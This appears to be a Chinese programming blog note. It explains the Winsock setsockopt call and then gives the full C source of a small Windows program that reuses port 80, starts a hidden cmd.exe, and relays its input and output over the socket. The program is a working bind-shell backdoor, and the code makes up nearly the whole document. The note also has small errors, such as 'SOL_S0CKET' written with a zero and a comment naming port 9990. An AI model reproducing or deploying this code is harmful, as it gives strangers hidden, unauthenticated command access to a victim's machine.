[2014/10/23 23:52]
setsockopt设置与某个套接字关联的选项。
<param>sock</param> 将要设置的套接字
<param>level</param> 选项所在的协议层。比如套接字层SOL_SOCKET
<param>optname</param> 操作的选项名
<param>optval</param> 指向包含新选项值的缓冲
<param>optlen</param> 选项的长度。
差不多就是指针的长度,因为参数4是一个指针,可能是为了32位与64位版本统一。
函数的功能比较多,比如:
Q1 设置 允许重用本地地址和端口重用,就是本例子,设置重用了80端口。
Q2 设置接收缓冲区的大小
// 接收缓冲区 int nRecvBuf=32*1024; //设置为32K setsockopt(s,SOL_SOCKET,SO_RCVBUF,(const char*)&nRecvBuf,sizeof(int));
Q3 而设置收发时限
int nNetTimeout=1000;//1秒
//发送时限
setsockopt(socket,SOL_S0CKET,SO_SNDTIMEO,(char *)&nNetTimeout,sizeof(int));
//接收时限
setsockopt(socket,SOL_S0CKET,SO_RCVTIMEO,(char *)&nNetTimeout,sizeof(int));
// Mini.cpp : 定义控制台应用程序的入口点。
#include "stdafx.h"
#pragma comment(lib,"ws2_32.lib")
#include <winsock2.h>
#include <windows.h>
//#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
#define MAX_SER 10
#define HOST_PATH 256
#define HOSTNAME_SIZE HOST_PATH
#define MasterPort 80 //定义监听的端口
char hostName[MAX_PATH]={0};
unsigned short maxService;
unsigned short port;
void Service(LPVOID lpv);
int LoopControl(SOCKET llistenfd,int isMultiTasking);
void initial();
int initSockets(void); //初始化Windows Socket
int main(int argc, char * argv[])
{
SOCKET listenFd,acceptfd;
struct sockaddr_in serverAddr,clientAddr;
char buffer[1024];
int nSize=sizeof(sockaddr_in);
int err;
PROCESS_INFORMATION ProcessInfo;
STARTUPINFO StartupInfo;
char szCMDPath[255];
initial();
initSockets();
//分配内存资源
ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
ZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath));
//GetStartupInfo(&StartupInfo);
//创建socket
//listenFd=socket(PF_INET,SOCK_STREAM,0);
/*
* The WSASocket function creates a socket that is bound to a specific transport-service provider.
*/
listenFd=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
BOOL var=TRUE;
/*
* s [in]: A descriptor that identifies a socket.
* level [in]: The level at which the option is defined (for example, SOL_SOCKET).
* optname [in]: The socket option for which the value is to be set (for example, SO_BROADCAST).
* optval [in]: A pointer to the buffer in which the value for the requested option is specified.
* optlen [in]: The size, in bytes, of the buffer pointed to by the optval parameter.
*/
setsockopt(listenFd,SOL_SOCKET,SO_REUSEADDR,(char*)&var,sizeof(var));
if(listenFd==INVALID_SOCKET){
printf("error:out of socket resource \n");
return 1;
}
//bind本机的端口
serverAddr.sin_family=AF_INET; //协议类型是INET
serverAddr.sin_addr.S_un.S_addr=inet_addr("192.168.1.9");//htonl(INADDR_ANY); //本机IP
serverAddr.sin_port=htons(MasterPort); //绑定端口为9990
err=bind(listenFd,(const struct sockaddr *)&serverAddr,sizeof(serverAddr));
if(err==INVALID_SOCKET){
printf("error: unable to bind socket \n");
return 1;
}
//listen 监听端口
err=listen(listenFd,3);
if(err==INVALID_SOCKET){
printf("error: listen socket failed \n");
return 1;
}
printf("listen......");
acceptfd=accept(listenFd,(struct sockaddr *)&clientAddr,&nSize); //接收客户连接的准备
/*
* nLength : The size, in bytes, of this structure.
* lpSecurityDescriptor : A pointer to a SECURITY_DESCRIPTOR structure that controls access to the object,If the value of this member is NULL,
* the object is assigned the default security descriptor associated with the access token of the calling process.
* bInheritHandle : A Boolean value that specifies whether the returned handle is inherited when a new process is created.
*/
SECURITY_ATTRIBUTES sa;
sa.nLength=12;
sa.lpSecurityDescriptor=0;
sa.bInheritHandle=true;
HANDLE hReadPipe1;
HANDLE hWritePipe1;
HANDLE hReadPipe2;
HANDLE hWritePipe2;
/*
* Creates an anonymous pipe, and returns handles to the read and write ends of the pipe.
* hReadPipe [out] : A pointer to a variable that receives the read handle for the pipe.
* hWritePipe [out] : A pointer to a variable that receives the write handle for the pipe.
* lpPipeAttributes [in, optional] : If lpPipeAttributes is NULL, the handle cannot be inherited.
* nSize [in] : The size of the buffer for the pipe, in bytes. The size is only a suggestion;
* the system uses the value to calculate an appropriate buffering mechanism. If this parameter is zero, the system uses the default buffer size.
*/
err=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
err=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
//配置隐藏窗口结构体
StartupInfo.cb=sizeof(STARTUPINFO);
StartupInfo.wShowWindow=SW_HIDE;
StartupInfo.dwFlags=STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
StartupInfo.hStdInput=hReadPipe2;
StartupInfo.hStdOutput=hWritePipe1;
StartupInfo.hStdError=hWritePipe1;
//创建匿名管道
BOOL ret=CreateProcess(NULL,szCMDPath,NULL,NULL,TRUE,0,NULL,NULL,&StartupInfo,&ProcessInfo);
if(ret){
printf("%d",GetLastError());
}
unsigned long lBytesRead;
while(1){
/*
* Copies data from a named or anonymous pipe into a buffer without removing it from the pipe. It also returns information about data in the pipe.
* hNamedPipe [in] : A handle to the pipe. This parameter can be a handle to a named pipe instance
* lpBuffer [out, optional] : A pointer to a buffer that receives data read from the pipe. This parameter can be NULL if no data is to be read.
* nBufferSize [in] : The size of the buffer specified by the lpBuffer parameter, in bytes. This parameter is ignored if lpBuffer is NULL.
* lpBytesRead [out, optional] : A pointer to a variable that receives the number of bytes read from the pipe. This parameter can be NULL if no data is to be read.
* lpTotalBytesAvail [out, optional] : pointer to a variable that receives the total number of bytes available to be read from the pipe.
* lpBytesLeftThisMessage [out, optional] : A pointer to a variable that receives the number of bytes remaining in this message
*/
err=PeekNamedPipe(hReadPipe1,buffer,1024,&lBytesRead,0,0);
if(lBytesRead){
/*
* Reads data from the specified file or input/output (I/O) device
* hFile [in] : A handle to the device
* lpBuffer [out] : A pointer to the buffer that receives the data read from a file or device.
* nNumberOfBytesToRead [in] : The maximum number of bytes to be read.
* lpNumberOfBytesRead [out, optional] : A pointer to the variable that receives the number of bytes read when using a synchronous hFile parameter
* lpOverlapped [in, out, optional] :
*/
ret=ReadFile(hReadPipe1,buffer,lBytesRead,&lBytesRead,0);
if(!ret){
break;
}
ret=send(acceptfd,buffer,lBytesRead,0);
if(ret<=0) break;
}
else{
lBytesRead=recv(acceptfd,buffer,1024,0);
if(lBytesRead<=0){
break;
}
/*
* If the function succeeds, the return value is nonzero (TRUE).
*/
ret=WriteFile(hWritePipe2,buffer,lBytesRead,&lBytesRead,0);
if(!ret) break;
}
}
//WaitForSingleObject(ProcessInfo.hProcess,INFINITE);
CloseHandle(ProcessInfo.hProcess);
CloseHandle(ProcessInfo.hThread);
printf("server is down \n");
//关闭进程句柄
closesocket(listenFd);
closesocket(acceptfd);
WSACleanup();
return 0;
}
void initial()
{
maxService=3;
port=5054;
}
/*
* Winsock服务初始化
*/
int initSockets(void)
{
WSADATA wsaData;
WORD sockVersion; //typedef unsigned short WORD(16)
int err;
sockVersion=MAKEWORD(2,2);
err=WSAStartup(sockVersion,&wsaData);
if(err!=0)
{
printf("error %d :winsock not avaliable\n",err);
}
printf("environemnt invaild success.....\n");
return 0;
}
失望的是程序仅仅执行一次,之后就不能连接了